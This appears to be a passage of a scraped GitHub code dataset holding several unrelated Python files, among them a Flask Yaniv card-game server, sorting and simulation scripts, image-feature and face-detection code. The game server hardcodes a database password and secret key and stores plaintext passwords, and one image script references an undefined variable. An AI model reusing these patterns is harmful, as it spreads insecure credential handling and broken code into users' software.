def filter(bench):\n            return True\n    else:\n        def filter(bench):\n            return any(selector in _getBenchFullName(bench)\n                       for selector in selectors)\n\n    out = []\n    if path == '__main__':\n        rootBench = BenchLoader().loadTestsFromModule(sys.modules[path])\n    else:\n        rootBench = BenchLoader().discover(path, pattern='bench*.py')\n\n    stack = collections.deque((rootBench,))\n    while stack:\n        obj = stack.popleft()\n        if isinstance(obj, unittest.TestSuite):\n            stack.extend(bench for bench in obj)\n        elif type(obj).__name__ == 'ModuleImportFailure':\n            try:\n                # This should always throw an ImportError exception.\n                getattr(obj, _getBenchName(obj))()\n            except ImportError as e:\n                sys.exit(e.message.strip())\n        elif filter(obj):\n            out.append(obj)\n\n    return out\n\n\ndef _getBenchName(bench):\n    return bench._testMethodName\n\n\ndef _getBenchFullName(bench):\n    return '%s.%s.%s' % (type(bench).__module__, type(bench).__name__,\n                         _getBenchName(bench))\n\n\ndef run(startPath):\n    parser = argparse.ArgumentParser(usage=_USAGE, description=_DESCRIPTION)\n    parser.add_argument('name', nargs='*',\n                        help='partial benchmark names to search')\n    args = parser.parse_args()\n    selectors = args.name if args.name else None\n    benchs = _findBenchs(startPath, selectors)\n    suite = BenchLoader().suiteClass(benchs)\n    BenchRunner().run(suite)\n\n\nif __name__ == \"__main__\":\n    run(os.path.abspath(os.path.dirname(__file__)))\n","repo_name":"christophercrouzet/bana","sub_path":"benchmarks/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4613,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"3"}
+{"seq_id":"8903365427","text":"# pylint: disable=missing-docstring\n\nimport random as rand\n\ndef play_one_game(n_toss):\n    '''returns the number of heads after n_toss'''\n    head_counter = 0\n    for _ in range(n_toss):\n        head_counter += rand.randrange(0, 2, 1)\n    return n_toss - head_counter\n\nprint(play_one_game(1))\n\ndef play_n_game(n_games, n_toss):\n    \"\"\"returns a dictionary where the keys are the possible head counts\n    of each game and the values will the probability of a game ending\n    with that number of heads.\n    \"\"\"\n    results_list = []\n    for _ in range(n_games):\n        results_list.append(play_one_game(n_toss))\n    dict_proba = {}\n    for j in range (n_toss + 1):\n        if results_list.count(j) != 0:\n            dict_proba[j] = results_list.count(j)/n_games\n        else:\n            continue\n    return dict_proba\n","repo_name":"flo1222/data-challenges-old","sub_path":"03-Maths/02-Statistics-Probabilities/02-Toss-a-Coin/simulate_reality.py","file_name":"simulate_reality.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"20826776806","text":"from datetime import datetime\nimport copy\nfrom game import Game\nfrom player import *\nimport json\nimport random\nfrom flask import *\nfrom flask_socketio import SocketIO,emit\nfrom flask_cors import CORS\nimport mysql.connector\n\"\"\"globals\"\"\"\nopen_games_ins = {}\nconnected_users = {}\nnum_of_open_games = 0\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'secret!'\nCORS(app,resources={r\"/*\":{\"origins\":\"*\"}})\nsocketio = SocketIO(app,cors_allowed_origins=\"*\")\n\n\n@socketio.on('update_oppenents')\ndef update_oppenents(data):\n    global open_games_ins\n    game:Game = open_games_ins[data]\n    opponents = game.get_players_names()\n    for user in game.players:\n        emit('update_oppenents', {'opponents' : opponents}, room=connected_users[user.name])      \n        if user.is_ready:\n            for p in game.players:\n                if p.name != user.name:\n                    socketio.emit('opponent_ready', {'opponent' : user.name}, room=connected_users[p.name])\n\n\n\n@app.route(\"/join_game\", methods=['POST'])\ndef join_game():\n    global connected_users, open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    game.add_player(Player(data['username']))\n    print(\"join_game(event call)\",game.get_players_names())\n    #initial connection to database\n    mydb = mysql.connector.connect(\n        host = 'localhost',\n        user = 'arik',\n        password = 'abcdef',\n        database = 'mydb'\n    )\n    players = \" \".join(game.get_players_names())\n    query = \"UPDATE games SET current_players = %s WHERE id = %s\"\n    cursor = mydb.cursor()\n    cursor.execute(query,(players, game.id))\n    mydb.commit()\n    cursor.execute(\"SELECT * FROM games\")\n    socketio.emit('update_games', cursor.fetchall(), broadcast=True)\n    \n    #close connection\n    cursor.close()\n    mydb.close()\n    return {'id' : game.id}\n\n  \n\n@socketio.on(\"user_connect\")\ndef connected(username):\n    \"\"\"event listener when client connects to the server\"\"\"\n    if not username in connected_users.keys():\n        connected_users[username] = request.sid\n        print(username,\" has connected\\t id:\", request.sid)\n        mydb = mysql.connector.connect(\n            host = 'localhost',\n            user = 'arik',\n            password = 'abcdef',\n            database = 'mydb'\n        )\n        cursor = mydb.cursor()\n        cursor.execute(\"SELECT * FROM games\")\n        games = cursor.fetchall()\n        #close connection\n        cursor.close()\n        mydb.close()\n        socketio.emit('update_games', games, broadcast=True)\n\n@app.route('/opponent_leaveing', methods=['POST'])\ndef opponent_leaveing():\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    game.remove_player(data['player_name'])\n    print(\"opponent_leaveing: \", game.get_players_names())\n    #initial connection to database\n    mydb = mysql.connector.connect(\n        host = 'localhost',\n        user = 'arik',\n        password = 'abcdef',\n        database = 'mydb'\n    )\n    cursor = mydb.cursor()\n    if game.number_of_players == 0:\n        cursor.execute(\"DELETE from games WHERE id = %s\", (data['gameId'],))\n        open_games_ins.pop(game.id)\n    else:\n        query = \"UPDATE games SET current_players = %s, number_of_players = %s WHERE id = %s\"\n        cursor.execute(query,(\" \".join(game.get_players_names()),game.number_of_players ,game.id))\n    \n    cursor.execute(\"SELECT * FROM games\")\n    games = cursor.fetchall()\n\n    #close connection    \n    mydb.commit()\n    cursor.close()\n    mydb.close()\n    socketio.emit('update_games', games, broadcast=True)\n\n    return {}\n\n@app.route('/ready_to_start', methods=['POST'])\ndef ready_to_start():\n    global connected_users, open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    all_ready = 0\n    for p in game.players:\n        if p.name == data['username']:\n            p.is_ready = True\n        else:\n            socketio.emit('opponent_ready', {'opponent' : data['username']}, room=connected_users[p.name])\n        if p.is_ready:\n            all_ready += 1\n    if all_ready == 4:\n\n        game.reset_ruond()\n        player_start = game.get_players_names()[random.randint(0,3)]\n        for p in game.players:\n            socketio.emit('reset_cards', {'cards' : p.hand, 'curr_player' : player_start}, room=connected_users[p.name])\n    return {}\n\n\n@app.route('/sign_up',methods=['POST'])\ndef sign_up():\n    data = json.loads(request.data)\n    #initial connection to database\n    mydb = mysql.connector.connect(\n        host = 'localhost',\n        user = 'arik',\n        password = 'abcdef',\n        database = 'mydb'\n    )\n    cursor = mydb.cursor()\n    #check if user exist\n    cursor.execute(\"SELECT name from users\")\n    for name in cursor:\n        if name == data['username']:\n            cursor.close()\n            mydb.close()\n            return {'user_exist': True}\n    #insert new user\n    cursor.execute(\"SELECT count(*) FROM users\")\n    num_of_users = int(cursor.fetchone()[0] + 1)\n    insert_new_user = (\"INSERT INTO users VALUES(%s, %s, %s, %s, %s)\")\n    cursor.execute(insert_new_user, (num_of_users, data['username'], data['password'], 0, 0))\n    #save changes\n    mydb.commit()\n    #close connection\n    cursor.close()\n    mydb.close()\n    return {'user_exist': False}\n@app.route('/login', methods=['POST', 'GET'])\ndef login():\n    global  connected_users\n    data = json.loads(request.data)\n    user_exsit = False\n    #initial connection to database\n    mydb = mysql.connector.connect(\n        host = 'localhost',\n        user = 'arik',\n        password = 'abcdef',\n        database = 'mydb'\n    )\n    cursor = mydb.cursor()\n    #check if user exist and matching password\n    cursor.execute(\"SELECT name, password From users\")\n    for (name, password) in cursor:\n        user_exsit = (name == data['username'] and password == data['password'])\n        if user_exsit: break \n           \n    #insert new user\n    #close connection\n    cursor.fetchall()\n    cursor.close()\n    mydb.close()\n    return {'isValidUser' : user_exsit}\n\n\n\n\n@app.route(\"/create_game\", methods=['POST'])\ndef create_game():\n    global num_of_open_games, connected_users, open_games_ins\n    num_of_open_games += 1\n    data = json.loads(request.data)\n    player = Player(data['username'])\n    game = Game(player, num_of_open_games)\n    open_games_ins[num_of_open_games] = game\n    #initial connection to database\n    mydb = mysql.connector.connect(\n        host = 'localhost',\n        user = 'arik',\n        password = 'abcdef',\n        database = 'mydb'\n    )\n    cursor = mydb.cursor()\n    insert_new_game = (\"INSERT INTO games VALUES(%s, %s, %s, %s, %s)\")\n    players = \", \".join(game.get_players_names())\n    cursor.execute(insert_new_game, (\n            num_of_open_games, \n            data['username'], \n            datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\"), \n            players, \n            game.number_of_players\n        ))\n    cursor.execute(\"SELECT count(*) FROM games\")\n    is_created = int(cursor.fetchone()[0]) == num_of_open_games+1\n    cursor.execute(\"SELECT * FROM games\")\n    games = cursor.fetchall()\n    print(games)\n    socketio.emit('update_games', games, broadcast=True)\n    #close connection    \n    mydb.commit()\n    cursor.close()\n    mydb.close()\n    return {\"is_created\" : is_created, \"id\" : game.id}\n\n\n\n\n@app.route(\"/reset_round\",methods=['POST', 'GET'])\ndef reset_round():\n    global open_games_ins\n    data = json.loads(request.data)\n    print(data)\n    game:Game = open_games_ins[data['gameId']]\n    print(game.get_players_names())\n    for player in game.players:\n        print(player.name)\n        if player.name == data['username']:\n            print(player.hand)\n            return {'cards' : player.hand}\n\n@app.route(\"/reset_game\",methods=['POST'])\ndef reset_game():\n    global open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    game.reset_game()\n    return {}\n\n@app.route(\"/yaniv_called\", methods=[\"POST\"])\ndef yaniv_called():\n    global open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    score = game.get_score(data['username'])\n    for p in game.get_players_names():\n        socketio.emit('yaniv', score, room=connected_users[p])\n    return {}\n\n@app.route(\"/get_card_deck\",methods=[\"POST\", \"GET\"])\ndef get_card_deck():\n    global open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    card = game.pull_card_from_deck(data['username'])\n    is_yaniv = game.is_yaniv(data['username'])\n    players = game.get_players_names()\n    next_player = players.index(data['username'])\n    for p in players:\n        socketio.emit('update_center',{ 'current_player':players[(next_player+1) % 4], \n        'last_cards' : game.last_cards_thrown, 'pile' : game.pile[-5::]},\n         room=connected_users[p])\n    return{'card' : card, 'is_yaniv' : is_yaniv}\n\n    \n@app.route(\"/get_card_pile\", methods=[\"POST\", \"GET\"])\ndef get_card_pile():\n    global open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    game.pull_card_from_pile(data['username'], data['card'])\n    is_yaniv = game.is_yaniv(data['username'])\n    players = game.get_players_names()\n    next_player = players.index(data['username'])\n    for p in players:\n        socketio.emit('update_center',{ 'current_player':players[(next_player+1) % 4], \n        'last_cards' : game.last_cards_thrown, 'pile' : game.pile[-5::]},\n         room=connected_users[p])\n    return{'is_yaniv' : is_yaniv}\n\n\n@app.route(\"/check_legal_move\", methods=[\"POST\", \"GET\"])\ndef check_legale_move():\n    global open_games_ins\n    data = json.loads(request.data)\n    game:Game = open_games_ins[data['gameId']]\n    legalety = game.check_legal_move(data['username'], data['cards'])\n    return {'legalety' : legalety}\n    \nif __name__ == \"__main__\":\n    # game_test = Game(Player('arik1'), 1)\n    # game_test.add_player(Player('arik2'))\n    # game_test.add_player(Player('arik3'))\n    # game_test.add_player(Player('arik4'))\n    # game_test.reset_game()\n    # for p in game_test.players:\n    #     print(p.hand)\n    socketio.run(app, debug=True,port=5001)","repo_name":"arikost/YanivCardGame","sub_path":"flask-server/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":10200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1820000843","text":"from dot import Dot\nimport random\nfrom copy import deepcopy\n\nclass Population():\n    def __init__(self, environment_width, environment_height, goal_x, goal_y, goal_radius, game_display, population_size = 500):\n        self.environment_width = environment_width\n        self.environment_height = environment_height\n        self.game_display = game_display\n\n        self.goal_x = goal_x\n        self.goal_y = goal_y\n        self.goal_radius = goal_radius\n\n        self.population_size = population_size\n        self.population = [Dot(environment_width, environment_height, goal_x, goal_y, goal_radius, game_display) for i in range(population_size)]\n\n        self.generation = 1\n        self.min_step = 450\n    \n    def update(self):\n        for dot in self.population:\n            if dot.brain.step > self.min_step:\n                dot.dead = True\n            dot.update()\n    \n    def are_all_dots_dead(self):\n        for dot in self.population:\n            if not dot.dead:\n                return False\n        return True\n\n    def natural_selection(self, fitness_sum):\n        new_dots = []\n        best_dot = self.get_best_dot()\n        if (best_dot.reach_goal):\n            self.min_step = best_dot.brain.step\n        new_dots.append(best_dot.get_offspring())\n        new_dots[0].is_best = True\n\n        for i in range(self.population_size - 1): # since we added the best dot\n            parent = self.select_parent(fitness_sum)\n            new_dots.append(parent.get_offspring())\n        \n        self.population = new_dots\n        self.generation += 1\n\n    def calculate_fitness_sum(self):\n        fitness_sum = 0\n        for dot in self.population:\n            fitness_sum += dot.calculate_fitness()\n        return fitness_sum\n\n    def select_parent(self, fitness_sum):\n        value = random.uniform(0, fitness_sum)\n        running_sum = 0\n        for dot in self.population:\n            running_sum += dot.calculate_fitness()\n            if running_sum > value:\n                return dot\n\n    def mutate_offsprings(self):\n        for dot in self.population[1:]: # do not mutate previous gen best dot\n            dot.brain.mutate()\n\n    def get_best_dot(self):\n        max_fitness = 0\n        best_dot = None\n\n        for dot in self.population:\n            fitness = dot.calculate_fitness()\n            if fitness > max_fitness:\n                best_dot = dot\n                max_fitness = fitness\n\n        return best_dot\n","repo_name":"thanusiv/A.I-Dots","sub_path":"population.py","file_name":"population.py","file_ext":"py","file_size_in_byte":2432,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"11280857202","text":"import numpy as np \r\n\r\n\r\nx = np.arange(1024).reshape(2,512)\r\n\r\nx_split = []\r\nfor i in range(x.shape[0]):\r\n    split1 = np.split(x[i], 8) #8个一组\r\n    a = [] \r\n    for j in range(8):\r\n        s = np.split(split1[j], 8)#取8组\r\n        a.append(s)\r\n    x_split.append(a)\r\n    #print(len(a))\r\nprint(len(x_split),len(x_split[0]),len(x_split[1]))","repo_name":"zuochen33/DRSnet","sub_path":"Untitled-1.py","file_name":"Untitled-1.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36715600820","text":"import cv2\r\nimport pydicom\r\nimport math\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom PIL import Image, ImageDraw\r\nimport pyefd\r\nimport csv\r\nfrom skimage.feature import greycomatrix, greycoprops\r\nimport pywt\r\nfrom skimage import io\r\nfrom MLP_classifier import MLP\r\n\r\n\r\n    #ds=pydicom.dcmread('\\\\DICOM\\\\canvas\\\\13086')\r\n\r\n#path = \"'E:\\\\DICOM\\\\canvas\\\\img.png'\"\r\nimg = cv2.imread('E:\\\\DICOM\\\\canvas\\\\roi.png')\r\n#gray = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\r\n#thresh= 10\r\n#thresh, binary = cv2.threshold(gray, thresh, maxval=255, type=cv2.THRESH_BINARY) \r\n#thresh, mask = cv2.threshold(gray, thresh, maxval=1, type=cv2.THRESH_BINARY)\r\n#origin = cv2.imread('E:\\\\DICOM\\\\canvas\\\\blur.png', cv2.IMREAD_GRAYSCALE)\r\n#adjusted = origin*mask\r\n    #cv2.imshow(\"ADJUSTED\",adjusted)\r\n    #calculate glcm\r\nglcm = greycomatrix(img, \r\n                       distances=[1, 2], \r\n                       angles=[0, np.pi/4, np.pi/2, 3*np.pi/4],\r\n                       symmetric=True,\r\n                       normed=True)\r\nglcm_br = glcm[1:, 1:, :, :] #remove black pixel\r\nglcm_br_norm = np.true_divide(glcm_br, glcm_br.sum(axis=(0, 1))) #hình thức hóa ma trận glcm\r\nnp.set_printoptions(threshold=1000, precision=4) #quy định cách biểu diễn số dạng float, precision = 4 nghĩa là lấy 4 chữ số sau dấu phẩy\r\ncontrast = greycoprops(glcm_br_norm, 'contrast')[0][0]\r\nenergy = greycoprops(glcm_br_norm, 'energy')[0][0]\r\nhomogeneity = greycoprops(glcm_br_norm, 'homogeneity')[0][0]\r\ncorrelation = greycoprops(glcm_br_norm, 'correlation')[0][0]\r\ndissimilarity = greycoprops(glcm_br_norm, 'dissimilarity')[0][0]\r\nASM = greycoprops(glcm_br_norm, 'ASM')[0][0] \r\npixels = cv2.countNonZero(img)\r\ncnts = cv2.findContours(img, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)#lấy tất cả điểm trên countour. cv2.CHAIN_APPROX_SIMPLE: hạn chế số điểm trên countour\r\n\r\nif len(cnts) == 2: #phan biet hinh 2d va 3d\r\n        cnts = cnts[0] \r\nelse:\r\n        cnts = cnts[1] \r\ntotal = 0\r\nfor c in cnts:\r\n       x,y,w,h = cv2.boundingRect(c)\r\n       mask = np.zeros(img.shape, dtype=np.uint8)\r\n       cv2.fillPoly(mask, [c], [255,255,255])\r\n       mask = cv2.cvtColor(mask, cv2.COLOR_BGR2GRAY)\r\n       pixels = cv2.countNonZero(mask)\r\n       total += pixels\r\n       dt=pixels\r\n       #dt = pixels*ds.PixelSpacing[0]*ds.PixelSpacing[1]\r\n       s = round(dt, 2)\r\n       #cv2.putText(img, '{}'.format(s)+' mm2', (x,y - 25), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255,255,255), 1)\r\nfor c in cnts: \r\n  \t# compute the center of the contour\r\n      M = cv2.moments(c)\r\n      cX = int(M[\"m10\"] / M[\"m00\"])\r\n      cY = int(M[\"m01\"] / M[\"m00\"])\r\n      l= len(c)\r\n\t# draw the contour and center of the shape on the image\r\n      color = cv2.cvtColor(adjusted,cv2.COLOR_GRAY2RGB)\r\n      cv2.drawContours(color, [c], -1, (255, 255, 255), 1)\r\n      cv2.circle(color, (cX, cY), 3, (0, 0, 255), -2)\r\n      #cv2.putText(adjusted, \"center\", (cX - 20, cY - 20),cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\r\n      cv2.imshow('contour',color)\r\n      #cv = len(c)*ds.PixelSpacing[0]\r\n      cv = len(c)\r\n      cv= round(cv, 2)\r\n      #cv2.putText(img, '{}'.format(cv)+' mm', (x,y - 55), cv2.FONT_HERSHEY_SIMPLEX, 0.7, (255,255,255), 1)\r\n    #print(len(c))# len(c)xPixelSpacing = chu vi\r\nb = []\r\nc0= (cv**2)/(dt)\r\n    #phan tich fourier\r\nN = 0\r\nfor i in range(0, len(c)): #chạy từ 0 đến len(c)\r\n        N = N + 1\r\n        p= cnts[0][i]\r\n        d = math.sqrt(((p[0][0]-cX)**2)+((p[0][1]-cY)**2))\r\n        d = round(d, 8)\r\n        #a.append(i)\r\n        b.append(d)\r\nfor i in range(0,len(b)):\r\n        b[i] = str(b[i])\r\n        with open('C:\\\\Users\\\\ADMIN\\\\Downloads\\\\csv\\\\fft.csv', mode='a+',newline='') as train:\r\n         train = csv.writer(train)\r\n         train.writerow([b[i]])   \r\n    #fourier\r\nfs = N\r\n    \r\n    \r\n    \r\n    \r\nan = bn = cn = dn = 0\r\ncoeffs = []\r\norder=100\r\nfor c in cnts:\r\n    coeffs=pyefd.elliptic_fourier_descriptors(np.squeeze(c), order, normalize=False)\r\n    for i in range(order):\r\n            an = an+coeffs[i][0]\r\n            an = abs(an)\r\n            bn = bn+coeffs[i][1]\r\n            bn = abs(bn)\r\n            cn = cn+coeffs[i][2]\r\n            cn = abs(cn)\r\n            dn = dn+coeffs[i][3]\r\n            dn = abs(dn)\r\nan=an/order\r\nbn=bn/order\r\ncn=cn/order\r\ndn=dn/order\r\nwith open('C:\\\\Users\\\\ADMIN\\\\Downloads\\\\csv\\\\test.csv', mode='a+',newline='') as train:\r\n        train = csv.writer(train)\r\n        train.writerow([dt,cv,c0, bn,cn, contrast, energy, homogeneity,dissimilarity, ASM])\r\n","repo_name":"cucphuongc/testgit","sub_path":"assessment.py","file_name":"assessment.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17368539876","text":"import sys\n\nimport numpy as np\nimport nms\nimport cv2\n#import time\n\nimport detect_util\nimport math\n\ndef padProcess(image, in_w, in_h):\n    oriSize = image.shape\n    sz_ratio = in_w/float(in_h)\n    if oriSize[1] / float(oriSize[0]) >= sz_ratio:\n        newHeight = int(math.ceil(oriSize[1]/sz_ratio))\n        imagePad = np.zeros((newHeight, oriSize[1], 3), np.uint8)\n    else:\n        newWidth = int(math.ceil(oriSize[0]*sz_ratio))\n        imagePad = np.zeros((oriSize[0], newWidth, 3), np.uint8)\n\n    imagePad[0:oriSize[0], 0:oriSize[1], :] = image\n    return imagePad\n\n# Imagepad,resize, simple HWC->CHW and mean subtraction/scaling\n# returns tensor ready for fpga execute\n\ndef det_preprocess(image_ori, resize_w, resize_h, dest):\n    input_scale_ = 1.0\n    input_mean_value_ = 128\n    imagePad = padProcess(image_ori, resize_w, resize_h)\n    image = cv2.resize(imagePad,(resize_w, resize_h), interpolation = cv2.INTER_CUBIC)\n    image = image.astype(np.float)\n    szs = (float(imagePad.shape[0])/float(image.shape[0]), float(imagePad.shape[1])/float(image.shape[1]))\n    dest[:] = np.transpose(image,(2,0,1))\n    dest -= input_mean_value_\n    dest *= input_scale_\n    dest = np.expand_dims(dest,0)\n    return  szs\n\n   \n\n# takes dict of two outputs from XDNN, pixel-conv and bb-output\n# returns bounding boxes\ndef det_postprocess(pixel_conv, bb, sz, szs):\n    res_stride_=4\n    det_threshold_=0.7\n    nms_threshold_=0.3\n    expand_scale_=0.0\n    pixel_conv_tiled = detect_util.GSTilingLayer_forward(pixel_conv, 8)\n    prob = detect_util.SoftmaxLayer_forward(pixel_conv_tiled)\n    bb = detect_util.GSTilingLayer_forward(bb, 8)\n    prob = prob[0,1,...]\n    bb = bb[0, ...]\n    gx_shape = bb.shape[2]*res_stride_\n    gy_shape = bb.shape[1]*res_stride_\n    gy = np.arange(0, gy_shape, res_stride_)\n    gx = np.arange(0, gx_shape, res_stride_)\n    [x, y] = np.meshgrid(gx, gy)\n    bb[0, :, :] = bb[0, :, :] + x\n    bb[0, :, :] = bb[0, :, :] * szs[1]\n    bb[1, :, :] = bb[1, :, :] + y\n    bb[1, :, :] = bb[1, :, :] * szs[0]\n    bb[2, :, :] = bb[2, :, :] + x\n    bb[2, :, :] = bb[2, :, :] * szs[1]\n    bb[3, :, :] = bb[3, :, :] + y\n    bb[3, :, :] = bb[3, :, :] * szs[0]\n    bb = np.reshape(bb, (4, -1)).T\n    prob = np.reshape(prob, (-1, 1))\n    bb = bb[prob.ravel() > det_threshold_, :]\n    prob = prob[prob.ravel() > det_threshold_, :]\n    rects = np.hstack((bb, prob))\n    keep = nms.nms(rects, nms_threshold_)\t\n    rects = rects[keep, :]\n    return rects\n\n","repo_name":"PenroseZ/vitis-ai","sub_path":"examples/DPUCADX8G/face_detect/detect_ap2.py","file_name":"detect_ap2.py","file_ext":"py","file_size_in_byte":2454,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"74115873362","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Time    : 2018/12/5 23:42\n# @Author  : liuhu\n# @Site    : \n# @File    : quicksort.py\n# @Software: PyCharm\n# @github  :https://github.com/Max-Liuhu\ndef quicksort(theSeq, first, last):    # average: O(nlog(n))\n    \"\"\"\n    quicksort :也是分而治之，但是和归并排序不同的是，采用选定主元（pivot）而不是从中间\n    进行数组划分\n    1. 第一步选定pivot用来划分数组，pivot左边元素都比它小，右边元素都大于等于它\n    2. 对划分的左右两边数组递归，直到递归出口（数组元素数目小于2）\n    3. 对pivot和左右划分的数组合并成一个有序数组\n    \"\"\"\n    if first < last:\n        pos = partitionSeq(theSeq, first, last)\n        # 对划分的子数组递归操作\n        quicksort(theSeq, first, pos - 1)\n        quicksort(theSeq, pos + 1, last)\n\n\ndef partitionSeq(theSeq, first, last):\n    \"\"\" 快排中的划分操作，把比pivot小的挪到左边，比pivot大的挪到右边\"\"\"\n    pivot = theSeq[first]\n    print('before partitionSeq', theSeq)\n\n    left = first + 1\n    right = last\n\n    while True:\n        # 找到第一个比pivot大的\n        while left <= right and theSeq[left] < pivot:\n            left += 1\n\n        # 从右边开始找到比pivot小的\n        while right >= left and theSeq[right] >= pivot:\n            right -= 1\n\n        if right < left:\n            break\n        else:\n            theSeq[left], theSeq[right] = theSeq[right], theSeq[left]\n\n    # 把pivot放到合适的位置\n    theSeq[first], theSeq[right] = theSeq[right], theSeq[first]\n\n    print('after partitionSeq {}: {}\\t'.format(theSeq, pivot))\n    return right    # 返回pivot的位置\n\n\ndef test_partitionSeq():\n    l = [0,1,2,3,4]\n    assert partitionSeq(l, 0, len(l)-1) == 0\n    l = [4,3,2,1,0]\n    assert partitionSeq(l, 0, len(l)-1) == 4\n    l = [2,3,0,1,4]\n    assert partitionSeq(l, 0, len(l)-1) == 2\n\ntest_partitionSeq()\n\n\ndef test_quicksort():\n    def _is_sorted(seq):\n        for i in range(len(seq)-1):\n            if seq[i] > seq[i+1]:\n                return False\n        return True\n\n    from random import randint\n    for i in range(100):\n        _len = randint(1, 100)\n        to_sort = []\n        for i in range(_len):\n            to_sort.append(randint(0, 100))\n        quicksort(to_sort, 0, len(to_sort)-1)    # 注意这里用了原地排序，直接更改了数组\n        print(to_sort)\n        assert _is_sorted(to_sort)\n\ntest_quicksort()\n\n\n# 利用快排中的partitionSeq操作，我们还\n# 能实现另一个算法，nth_element，快速查\n# 找一个无序数组中的第k大元素\ndef nth_element(seq, beg, end, k):\n    if beg == end:\n        return seq[beg]\n    pivot_index = partitionSeq(seq, beg, end)\n    if pivot_index == k:\n        return seq[k]\n    elif pivot_index > k:\n        return nth_element(seq, beg, pivot_index-1, k)\n    else:\n        return nth_element(seq, pivot_index+1, end, k)\n\ndef test_nth_element():\n    from random import shuffle\n    n = 10\n    l = list(range(n))\n    shuffle(l)\n    print(l)\n    for i in range(len(l)):\n        assert nth_element(l, 0, len(l)-1, i) == i\n\ntest_nth_element()","repo_name":"CuteSmartTiger/mastering_python","sub_path":"python_datastructures/quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"34250920695","text":"def disp_board(p1, p2, bMap, turn):\n    \"\"\"\ntakes dicts of values for each player and turn indicator (int = 1 or 2)\nprints board\n    \"\"\"\n    toprow = p2 if turn == 1 else p1\n    bottomrow = p1 if turn == 1 else p2\n    for x, y in reversed(sorted(bMap.items())):\n        print((('p2 ' + x if turn == 1 else 'p1 ' + x) if x == 'store' else ' ') + '(' + repr(toprow[y]).rjust(2) + ')', end = '  ')\n    print('------------')\n    print('------------  ', end = '')\n    for x, y in (sorted(bMap.items())):\n        print((('p1 ' + x if turn == 1 else 'p2 ' + x) if x == 'store' else x) + '(' + repr(bottomrow[y]).rjust(2) + ')', end = '  ')\n    print('\\n')\n\ndef place_bean(p1, p2, turn, opp, position, remaining, results):\n    \"\"\"\ninput\np1, p2 dicts => bin values\nturn int => (1 or 2) for player\nopp bool => True if opponent's side\nposition int => current bin position\nremaining int => beans remaining to be placed\noutput\nresults dict\nresults['placedcnt'] int => total placed\nresults['goagain'] bool => True if player gets another turn for finishing in store\nresults['tostore'] bool => True\nresults['p1'] dict => p1 dict\nresults['p2'] dict => p2 dict\n    \"\"\"\n\n    if (turn == 1 and opp == False) or (turn == 2 and opp == True):\n        p1[position] += 1\n    else:\n        p2[position] += 1\n\n    remaining -= 1\n    if 'placedcnt' in results:\n        results['placedcnt'] += 1\n    else:\n        results['placedcnt'] = 1\n\n    if position == 7 and opp == False: #go again if store and final iteration\n        results['goagain'] = True\n    else:\n        results['goagain'] = False\n        if remaining == 0 and opp == False:   #check to see if send pieces to store\n            if turn == 1 and p1[position] == 1 and p2[7 - position] > 0:\n                results['tostore'] = True\n                results['tostorecnt'] = (1 + p2[7 - position])\n                p1[7] += results['tostorecnt']\n                p1[position] = 0\n                p2[7-position] = 0\n            elif turn == 2 and p2[position] == 1 and p1[7 - position] > 0:\n                results['tostore'] = True\n                results['tostorecnt'] = (1 + p1[7 - position])\n                p2[7] += results['tostorecnt']\n                p2[position] = 0\n                p1[7-position] = 0\n\n    results['p1'] = p1\n    results['p2'] = p2\n\n    if remaining > 0: #recursive call\n#        print(p1,p2)\n        if opp == True and position == 6:\n            nextPos = 1\n            opp = False\n        elif opp == False and position == 7:\n            nextPos = 1\n            opp = True\n        else:\n            nextPos = position + 1\n\n        results = place_bean(p1, p2, turn, opp, nextPos, remaining, results)\n\n    return results\n\ndef remove_beans(pos, bVals):\n#given a position and a dict, remove beans for position and return\n    extracted = bVals[pos]\n    bVals[pos] = 0\n    return extracted\n\ndef is_game_over(p1, p2):\n#  return true if either side has no beans\n    sumP1 = sum([p1[x] for x in p1.keys() if x < 7])\n    sumP2 = sum([p2[x] for x in p2.keys() if x < 7])\n#    return True\n    return sumP1 == 0 or sumP2 == 0\n\ndef declare_winner(p1, p2):\n    sumBinsP1 = sum([p1[x] for x in p1.keys() if x < 7])\n    storeP1 = p1[7]\n    sumBinsP2 = sum([p2[x] for x in p2.keys() if x < 7])\n    storeP2 = p2[7]\n    if sumBinsP1 == 0:\n        empty = '1'\n        moved = '2'\n        movedCnt= str(sumBinsP2)\n    else:\n        empty = '2'\n        moved = '1'\n        movedCnt= str(sumBinsP1)\n\n    print('All bins are empty for player', empty)\n    print('Remaining', movedCnt, 'beans moved to player', 